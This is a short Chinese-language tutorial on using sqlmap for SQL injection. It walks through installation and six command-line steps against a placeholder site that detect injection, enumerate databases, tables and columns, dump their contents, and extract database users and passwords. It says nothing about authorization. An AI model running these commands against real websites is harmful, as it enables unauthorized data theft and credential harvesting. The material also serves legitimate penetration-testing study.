SQL注入之常用工具sqlmap
通常来说,验证一个页面是否存在注入漏洞比较简单,而要获取数据,扩大权限,则要输入很复杂的SQL语句,有时候我们还会对大量的URL进行测试,这时就需要用到工具来帮助我们进行注入了。
目前流行的注入工具有sqlmap,pangolin,还有国产工具例如阿d,明小子,超级SQL注入这些工具。这些工具的功能都大同小异。
什么是sqlmap
sqlmap是用python写的一个注入工具,在所有注入工具中排名第一,今天主要介绍一下sqlmap的使用。
sqlmap的强大功能包括数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,可以在获取完全的操作权限时实行任意命令。
sqlmap的安装
sqlmap是一个命令行下的工具,且安装需要python环境(只支持python2),因此我们需要先下载python环境,并添加到环境变量中。
然后下载最新版的sqlmap(官网http://www.sqlmap.org)需要下载到Python的目录下,然后打开命令行,便可正常使用。
sqlmap入门
1.判断是否存在注入
目标注入点为http://xxx.com/index.php?id=1这种传入参数的命令为 sqlmap.py -u http://xxx.com/index.php?id=1 便可以自动进行检测,另外如果传入的参数有大于等于两个时,需要将URL使用双引号括起来。
除了直接检测URL外,sqlmap还可以从文本中获取HTTP请求,所以我们可以用burpsuit将HTTP请求抓包,然后保存到本地为TXT文件,然后使用sqlmap来进行测试,具体命令为sqlmap -r 文件路径和文件名,
这种一般用来检测post注入和HTTP头注入。
./sqlmap.py -u “http://xxx.com/index.php” --level=5 --risk=3
2.查询当前用户下的所有数据库
sqlmap.py -u http://xxx.com/index.php?id=1 --dbs
3.获取数据库的表名
sqlmap.py -u http://xxx.com/index.php?id=1 -D 数据库名 --tables
这个命令可以查询指定数据库中的所有表名。
4.获取表中的字段名
sqlmap.py -u http://xxx.com/index.php?id=1 -D 数据库名 -T 表名 --columns
5.获取字段的内容
sqlmap.py -u http://xxx.com/index.php?id=1 -D 数据库名 -T 表名 -C 字段名 --dump
6.获取数据库的所有用户和用户的密码
sqlmap.py -u http://xxx.com/index.php?id=1” --users
sqlmap.py -u http://xxx.com/index.php?id=1” --passwords
一般学会了这六个步骤,便可以用sqlmap对存在注入漏洞的网站进行注入。